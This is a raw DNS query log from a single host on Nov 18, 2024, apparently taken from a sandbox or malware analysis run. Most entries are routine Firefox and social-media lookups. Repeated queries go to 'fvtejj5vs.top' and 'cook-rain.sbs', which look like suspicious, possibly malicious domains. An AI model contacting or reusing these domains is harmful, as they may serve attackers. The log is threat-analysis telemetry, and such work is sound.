Nov 18, 2024 21:05:07.065054893 CET	192.168.2.4	1.1.1.1	0xe86b	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073786020 CET	192.168.2.4	1.1.1.1	0x41b7	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073888063 CET	192.168.2.4	1.1.1.1	0x36c6	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.074466944 CET	192.168.2.4	1.1.1.1	0x556c	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.082433939 CET	192.168.2.4	1.1.1.1	0xd149	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 18, 2024 21:05:07.082869053 CET	192.168.2.4	1.1.1.1	0xdda1	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 18, 2024 21:05:07.083420992 CET	192.168.2.4	1.1.1.1	0xa901	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 18, 2024 21:05:07.090831995 CET	192.168.2.4	1.1.1.1	0xe324	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.091401100 CET	192.168.2.4	1.1.1.1	0xfaad	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.100161076 CET	192.168.2.4	1.1.1.1	0xdcd2	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.100764990 CET	192.168.2.4	1.1.1.1	0x3fd1	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.108371019 CET	192.168.2.4	1.1.1.1	0xbb99	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 18, 2024 21:05:07.109518051 CET	192.168.2.4	1.1.1.1	0xe608	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 18, 2024 21:05:08.439764977 CET	192.168.2.4	1.1.1.1	0x6511	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:05:27.773380041 CET	192.168.2.4	1.1.1.1	0xba7e	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:40.406439066 CET	192.168.2.4	1.1.1.1	0x54c5	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:05:40.585464954 CET	192.168.2.4	1.1.1.1	0x14ec	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:40.585464954 CET	192.168.2.4	1.1.1.1	0x96f8	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:40.660182953 CET	192.168.2.4	1.1.1.1	0xcfaa	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:05:40.660495996 CET	192.168.2.4	1.1.1.1	0xe37a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:05:40.674624920 CET	192.168.2.4	1.1.1.1	0xf66d	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:40.703397989 CET	192.168.2.4	1.1.1.1	0x2dbb	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:05:40.789212942 CET	192.168.2.4	1.1.1.1	0xe8e0	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:40.821105957 CET	192.168.2.4	1.1.1.1	0x5dea	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:40.829941034 CET	192.168.2.4	1.1.1.1	0xc1d1	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:40.846700907 CET	192.168.2.4	1.1.1.1	0x4170	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:05:40.998138905 CET	192.168.2.4	1.1.1.1	0x6c9d	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:05:41.035650969 CET	192.168.2.4	1.1.1.1	0xa122	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:05:41.229784966 CET	192.168.2.4	1.1.1.1	0xd4c0	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:44.395576954 CET	192.168.2.4	1.1.1.1	0xe6ea	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:05:44.521265984 CET	192.168.2.4	1.1.1.1	0xbd0e	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:44.522185087 CET	192.168.2.4	1.1.1.1	0x2f4d	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:44.523691893 CET	192.168.2.4	1.1.1.1	0x2c94	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 18, 2024 21:05:44.529194117 CET	192.168.2.4	1.1.1.1	0x4c16	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:44.529762030 CET	192.168.2.4	1.1.1.1	0x6572	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 18, 2024 21:05:44.537295103 CET	192.168.2.4	1.1.1.1	0xf6fa	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 18, 2024 21:05:46.962256908 CET	192.168.2.4	1.1.1.1	0x148b	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:05:46.987390041 CET	192.168.2.4	1.1.1.1	0x148b	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:05:58.306797028 CET	192.168.2.4	1.1.1.1	0x508b	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:58.314371109 CET	192.168.2.4	1.1.1.1	0xcc59	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:06:09.875648022 CET	192.168.2.4	1.1.1.1	0xfacf	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:09.900839090 CET	192.168.2.4	1.1.1.1	0xfacf	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:10.049530983 CET	192.168.2.4	1.1.1.1	0xd5e0	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:06:19.091778994 CET	192.168.2.4	1.1.1.1	0xedf4	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:19.111008883 CET	192.168.2.4	1.1.1.1	0xa990	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:06:33.463529110 CET	192.168.2.4	1.1.1.1	0xa6a3	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:33.499372005 CET	192.168.2.4	1.1.1.1	0xa6a3	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:39.870600939 CET	192.168.2.4	1.1.1.1	0x2151	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:06:40.498975039 CET	192.168.2.4	1.1.1.1	0xc66b	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:59.921722889 CET	192.168.2.4	1.1.1.1	0x98	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:59.931162119 CET	192.168.2.4	1.1.1.1	0x5c89	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:07:00.544953108 CET	192.168.2.4	1.1.1.1	0x4020	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:07:21.392911911 CET	192.168.2.4	1.1.1.1	0x2b04	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:06.421598911 CET	192.168.2.4	1.1.1.1	0xd29c	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:06.421598911 CET	192.168.2.4	1.1.1.1	0x131f	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:06.421921968 CET	192.168.2.4	1.1.1.1	0xd29c	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:06.430166006 CET	192.168.2.4	1.1.1.1	0xd29c	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:06.436647892 CET	192.168.2.4	1.1.1.1	0x131f	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:06.456804037 CET	192.168.2.4	1.1.1.1	0x9d6f	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:06.456983089 CET	192.168.2.4	1.1.1.1	0x7434	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:06.456983089 CET	192.168.2.4	1.1.1.1	0x9d6f	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:06.457128048 CET	192.168.2.4	1.1.1.1	0x7434	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:06.457380056 CET	192.168.2.4	1.1.1.1	0x7434	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:06.457380056 CET	192.168.2.4	1.1.1.1	0x9d6f	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:06.476929903 CET	192.168.2.4	1.1.1.1	0x1ced	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:06.476929903 CET	192.168.2.4	1.1.1.1	0x15b1	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:07.002221107 CET	192.168.2.4	1.1.1.1	0x1ced	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:07.002659082 CET	192.168.2.4	1.1.1.1	0x1ced	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:07.020509005 CET	192.168.2.4	1.1.1.1	0x6e91	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:07.020509005 CET	192.168.2.4	1.1.1.1	0x6e91	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:07.503845930 CET	192.168.2.4	1.1.1.1	0x3f99	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:07.503952980 CET	192.168.2.4	1.1.1.1	0xcf47	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:09.258429050 CET	192.168.2.4	1.1.1.1	0x3ea6	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.258497953 CET	192.168.2.4	1.1.1.1	0x1d52	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:09.258619070 CET	192.168.2.4	1.1.1.1	0x3ea6	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.266279936 CET	192.168.2.4	1.1.1.1	0x3ea6	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.376406908 CET	192.168.2.4	1.1.1.1	0x8179	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.376486063 CET	192.168.2.4	1.1.1.1	0xef68	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:09.376540899 CET	192.168.2.4	1.1.1.1	0x8179	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.376589060 CET	192.168.2.4	1.1.1.1	0xef68	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:09.395683050 CET	192.168.2.4	1.1.1.1	0x8179	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.395729065 CET	192.168.2.4	1.1.1.1	0xef68	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:09.416908979 CET	192.168.2.4	1.1.1.1	0xacd	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.416959047 CET	192.168.2.4	1.1.1.1	0x77a3	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:09.417123079 CET	192.168.2.4	1.1.1.1	0xacd	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.417156935 CET	192.168.2.4	1.1.1.1	0x77a3	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:09.425201893 CET	192.168.2.4	1.1.1.1	0xacd	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.457245111 CET	192.168.2.4	1.1.1.1	0xa893	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.457329035 CET	192.168.2.4	1.1.1.1	0xbac2	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:09.457425117 CET	192.168.2.4	1.1.1.1	0xa893	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.457524061 CET	192.168.2.4	1.1.1.1	0xbac2	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:09.457914114 CET	192.168.2.4	1.1.1.1	0xa893	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.457961082 CET	192.168.2.4	1.1.1.1	0xbac2	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:09.940238953 CET	192.168.2.4	1.1.1.1	0x8678	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.940785885 CET	192.168.2.4	1.1.1.1	0x8678	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:20.549570084 CET	192.168.2.4	1.1.1.1	0xb1b1	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:20.558013916 CET	192.168.2.4	1.1.1.1	0xabef	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:20.565830946 CET	192.168.2.4	1.1.1.1	0xca99	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:08:21.200862885 CET	192.168.2.4	1.1.1.1	0xeef3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.705157995 CET	192.168.2.4	1.1.1.1	0x2c3c	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.705403090 CET	192.168.2.4	1.1.1.1	0x57cf	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:29.705538988 CET	192.168.2.4	1.1.1.1	0x2c3c	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.724672079 CET	192.168.2.4	1.1.1.1	0x57cf	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:29.724716902 CET	192.168.2.4	1.1.1.1	0x2c3c	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.725019932 CET	192.168.2.4	1.1.1.1	0x57cf	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:29.745724916 CET	192.168.2.4	1.1.1.1	0xabdc	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.745884895 CET	192.168.2.4	1.1.1.1	0xd28e	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:29.745970011 CET	192.168.2.4	1.1.1.1	0xabdc	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.746009111 CET	192.168.2.4	1.1.1.1	0xd28e	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:29.764870882 CET	192.168.2.4	1.1.1.1	0xabdc	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.764931917 CET	192.168.2.4	1.1.1.1	0xd28e	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:29.786282063 CET	192.168.2.4	1.1.1.1	0xe7dc	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.786369085 CET	192.168.2.4	1.1.1.1	0x6993	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:29.786489964 CET	192.168.2.4	1.1.1.1	0xe7dc	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.786561012 CET	192.168.2.4	1.1.1.1	0x6993	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:29.805459023 CET	192.168.2.4	1.1.1.1	0xe7dc	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.805491924 CET	192.168.2.4	1.1.1.1	0x6993	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:29.826291084 CET	192.168.2.4	1.1.1.1	0x4f66	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.826339960 CET	192.168.2.4	1.1.1.1	0xfe78	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:29.826415062 CET	192.168.2.4	1.1.1.1	0x4f66	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.826693058 CET	192.168.2.4	1.1.1.1	0xfe78	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:29.826731920 CET	192.168.2.4	1.1.1.1	0x4f66	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.827068090 CET	192.168.2.4	1.1.1.1	0xfe78	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:29.846633911 CET	192.168.2.4	1.1.1.1	0xc626	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.846693993 CET	192.168.2.4	1.1.1.1	0xa047	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:29.846779108 CET	192.168.2.4	1.1.1.1	0xc626	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.846824884 CET	192.168.2.4	1.1.1.1	0xa047	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:29.847151995 CET	192.168.2.4	1.1.1.1	0xc626	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:29.847208023 CET	192.168.2.4	1.1.1.1	0xa047	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 21:08:33.489757061 CET	192.168.2.4	1.1.1.1	0x685a	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:40.806278944 CET	192.168.2.4	1.1.1.1	0x5bb7	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:10:14.191154957 CET	192.168.2.4	1.1.1.1	0x88b	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:14.214351892 CET	192.168.2.4	1.1.1.1	0x88b	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:30.627938986 CET	192.168.2.4	1.1.1.1	0x36ee	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:10:30.841789007 CET	192.168.2.4	1.1.1.1	0x41b7	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:30.841789007 CET	192.168.2.4	1.1.1.1	0xebff	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:30.855570078 CET	192.168.2.4	1.1.1.1	0xac1c	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:30.881793022 CET	192.168.2.4	1.1.1.1	0xdd4a	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 18, 2024 21:10:30.978756905 CET	192.168.2.4	1.1.1.1	0xa127	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:30.981343985 CET	192.168.2.4	1.1.1.1	0xb0e6	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:30.991766930 CET	192.168.2.4	1.1.1.1	0x3cc1	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.018382072 CET	192.168.2.4	1.1.1.1	0x6381	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.028501987 CET	192.168.2.4	1.1.1.1	0xb994	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:10:31.034742117 CET	192.168.2.4	1.1.1.1	0x5de7	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:10:31.034742117 CET	192.168.2.4	1.1.1.1	0x1e6c	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.048650026 CET	192.168.2.4	1.1.1.1	0x6e4b	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.050081968 CET	192.168.2.4	1.1.1.1	0x566c	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:10:31.085824013 CET	192.168.2.4	1.1.1.1	0x95c6	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:10:31.189146042 CET	192.168.2.4	1.1.1.1	0x5a0	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.189146042 CET	192.168.2.4	1.1.1.1	0xf581	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.199101925 CET	192.168.2.4	1.1.1.1	0x239f	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.275224924 CET	192.168.2.4	1.1.1.1	0xa1e2	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:10:31.338619947 CET	192.168.2.4	1.1.1.1	0x6adf	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.374703884 CET	192.168.2.4	1.1.1.1	0xcb85	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.377129078 CET	192.168.2.4	1.1.1.1	0x7f5b	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:10:31.404987097 CET	192.168.2.4	1.1.1.1	0x42c8	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:10:31.560892105 CET	192.168.2.4	1.1.1.1	0x26ee	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.740380049 CET	192.168.2.4	1.1.1.1	0x5a8	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.756979942 CET	192.168.2.4	1.1.1.1	0x2ee4	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.790963888 CET	192.168.2.4	1.1.1.1	0x508d	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:10:34.913496017 CET	192.168.2.4	1.1.1.1	0x8e07	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.913496971 CET	192.168.2.4	1.1.1.1	0x9e02	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.913736105 CET	192.168.2.4	1.1.1.1	0x6f80	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.922480106 CET	192.168.2.4	1.1.1.1	0x2b85	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.922641993 CET	192.168.2.4	1.1.1.1	0xe44e	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.923830986 CET	192.168.2.4	1.1.1.1	0x2b46	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.930084944 CET	192.168.2.4	1.1.1.1	0x4fcf	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 18, 2024 21:10:34.930408955 CET	192.168.2.4	1.1.1.1	0xe283	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 18, 2024 21:10:34.931910038 CET	192.168.2.4	1.1.1.1	0x969a	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 18, 2024 21:10:34.940757036 CET	192.168.2.4	1.1.1.1	0x1f0f	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.941412926 CET	192.168.2.4	1.1.1.1	0x938a	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.948760033 CET	192.168.2.4	1.1.1.1	0x65a6	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.949502945 CET	192.168.2.4	1.1.1.1	0xa7c1	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 18, 2024 21:10:34.958720922 CET	192.168.2.4	1.1.1.1	0x3721	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 18, 2024 21:10:37.297858000 CET	192.168.2.4	1.1.1.1	0x48fa	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:10:47.966265917 CET	192.168.2.4	1.1.1.1	0xc83f	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:47.975673914 CET	192.168.2.4	1.1.1.1	0x98d	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:10:48.608532906 CET	192.168.2.4	1.1.1.1	0xcdc3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:48.616643906 CET	192.168.2.4	1.1.1.1	0xbc6d	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 21:11:08.613961935 CET	192.168.2.4	1.1.1.1	0x5e7e	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:11:08.622658968 CET	192.168.2.4	1.1.1.1	0x4ca3	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:11:24.942888975 CET	192.168.2.4	1.1.1.1	0xdb26	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:11:24.942976952 CET	192.168.2.4	1.1.1.1	0x76d8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 21:11:30.813636065 CET	192.168.2.4	1.1.1.1	0xfa95	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
